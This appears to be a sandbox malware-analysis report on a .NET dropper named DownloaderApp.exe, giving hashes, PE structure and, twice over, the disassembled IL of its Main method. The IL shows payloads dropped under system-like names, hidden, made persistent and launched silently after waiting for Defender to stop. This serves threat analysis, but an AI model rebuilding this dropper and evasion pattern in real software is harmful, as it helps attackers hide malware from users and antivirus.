Suspicious
Suspect

8c0a47240d68cc6dc31bdab40394ba77

PE Executable
|
MD5: 8c0a47240d68cc6dc31bdab40394ba77
|
Size: 2.63 MB
|
application/x-dosexec

Summary by MalvaGPT
Characteristics

Symbol Ofbuscation Score

Medium

Hash
 Hash Value
MD5
8c0a47240d68cc6dc31bdab40394ba77
Sha1
471393e7c83b08f01fe73a6c8875152a92ee8dc5
Sha256
3ba3ef4cc21a08817b7e7dae3a46f13bd596025ecd2d983a2203e4bd3eeb14c7
Sha384
df541b738bde2db47c5502ce2bfb7e1225b973610be9a95fc27c934b5fb7caa1af2289d225c166cc9f12c03ae35c8006
Sha512
949ff8e1c6653394da69792e0feeebed1b981e2029a32cca0b0a92f12ef29e78ff60ee5e6d3d6f24e9e7d95658fc36dc0d58b868996bdfa51218e6731d41fa82
SSDeep
49152:QGfDJFTHru6f0P0fc+D/C85pNLP62Sf+HEr6xw/qfTExnQ8BFb:QGr/THy6f0PE/CmLPE+Hx9TQPBF
TLSH
C0C533B17AFD5336CA9FE679BE761262DD5244C35EF4A9F831428329314690890D0FB3

PeID

Microsoft Visual C# / Basic.NET / MS Visual Basic 2005 - ASL
File Structure
8c0a47240d68cc6dc31bdab40394ba77
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
slJun1Aiw0Oo.WD8XI.qfsam
slJun1Aiw0Oo.jWC8LU.RZJkH
Informations
Name
 Value
Info

PE Detect: PeReader OK (file layout)
Info

PDB Path: C:\10\boot\Downloader_win\DownloaderApp\DownloaderApp\obj\Release\DownloaderApp.pdb
Module Name

DownloaderApp.exe
Full Name

DownloaderApp.exe
EntryPoint

System.Void A.B::Main(System.String[])
Scope Name

DownloaderApp.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DownloaderApp
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

25
Main Method

System.Void A.B::Main(System.String[])
Main IL Instruction Count

84
Main IL

call System.Boolean A.B::C() brtrue.s IL_0015: call System.Boolean System.Environment::get_UserInteractive() call System.Void A.B::D() leave.s IL_0014: ret pop <null> leave IL_00F3: ret ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_0027: ldstr "svchosthelper.exe" newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> ldstr svchosthelper.exe stloc.0 <null> ldstr systemhelper.exe stloc.1 <null> ldstr WindowsLogsHelper stloc.2 <null> ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.0 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.1 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldstr slJun1Aiw0Oo.WD8XI.qfsam ldloc.3 <null> call System.Void A.B::F(System.String,System.String) ldstr slJun1Aiw0Oo.jWC8LU.RZJkH ldloc.s V_4 call System.Void A.B::F(System.String,System.String) ldloc.3 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_4 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) call System.Void A.B::H() ldloc.3 <null> ldloc.2 <null> call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_4 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.r8 3 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan) brfalse.s IL_00EE: leave.s IL_00F3 ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00EE: leave.s IL_00F3 newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.3 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_00F3: ret pop <null> leave.s IL_00F3: ret ret <null>
Module Name

DownloaderApp.exe
Full Name

DownloaderApp.exe
EntryPoint

System.Void A.B::Main(System.String[])
Scope Name

DownloaderApp.exe
Scope Type

ModuleDef
Kind

Windows
Runtime Version

v4.0.30319
Tables Header Version

512
WinMD Version

<null>
Assembly Name

DownloaderApp
Assembly Version

1.0.0.0
Assembly Culture

<null>
Has PublicKey

False
PublicKey Token

<null>
Target Framework

.NETFramework,Version=v4.7.2
Total Strings

25
Main Method

System.Void A.B::Main(System.String[])
Main IL Instruction Count

84
Main IL

call System.Boolean A.B::C() brtrue.s IL_0015: call System.Boolean System.Environment::get_UserInteractive() call System.Void A.B::D() leave.s IL_0014: ret pop <null> leave IL_00F3: ret ret <null> call System.Boolean System.Environment::get_UserInteractive() brtrue.s IL_0027: ldstr "svchosthelper.exe" newobj System.Void A.E::.ctor() call System.Void System.ServiceProcess.ServiceBase::Run(System.ServiceProcess.ServiceBase) ret <null> ldstr svchosthelper.exe stloc.0 <null> ldstr systemhelper.exe stloc.1 <null> ldstr WindowsLogsHelper stloc.2 <null> ldc.i4.s 36 call System.String System.Environment::GetFolderPath(System.Environment/SpecialFolder) dup <null> ldloc.0 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.3 <null> ldloc.1 <null> call System.String System.IO.Path::Combine(System.String,System.String) stloc.s V_4 ldstr slJun1Aiw0Oo.WD8XI.qfsam ldloc.3 <null> call System.Void A.B::F(System.String,System.String) ldstr slJun1Aiw0Oo.jWC8LU.RZJkH ldloc.s V_4 call System.Void A.B::F(System.String,System.String) ldloc.3 <null> ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) ldloc.s V_4 ldc.i4.6 <null> call System.Void System.IO.File::SetAttributes(System.String,System.IO.FileAttributes) call System.Void A.B::H() ldloc.3 <null> ldloc.2 <null> call System.Void A.B::I(System.String,System.String) newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.s V_4 callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> ldc.r8 3 call System.TimeSpan System.TimeSpan::FromMinutes(System.Double) call System.Boolean A.B::WaitForDefenderStopped(System.TimeSpan) brfalse.s IL_00EE: leave.s IL_00F3 ldloc.3 <null> call System.Boolean System.IO.File::Exists(System.String) brfalse.s IL_00EE: leave.s IL_00F3 newobj System.Void System.Diagnostics.ProcessStartInfo::.ctor() dup <null> ldloc.3 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_FileName(System.String) dup <null> ldc.i4.0 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_UseShellExecute(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_CreateNoWindow(System.Boolean) dup <null> ldc.i4.1 <null> callvirt System.Void System.Diagnostics.ProcessStartInfo::set_WindowStyle(System.Diagnostics.ProcessWindowStyle) call System.Diagnostics.Process System.Diagnostics.Process::Start(System.Diagnostics.ProcessStartInfo) pop <null> leave.s IL_00F3: ret pop <null> leave.s IL_00F3: ret ret <null>
8c0a47240d68cc6dc31bdab40394ba77 (2.63 MB)
File Structure
8c0a47240d68cc6dc31bdab40394ba77
Structure
DosHeader
PE Header
Optional Header (x86)
Section Headers
.text
.rsrc
.reloc
Resources
RT_VERSION
ID:0001
ID:0
RT_MANIFEST
ID:0001
ID:0
.Net Resources
slJun1Aiw0Oo.WD8XI.qfsam
slJun1Aiw0Oo.jWC8LU.RZJkH
Characteristics
No malware configuration were found at this point.
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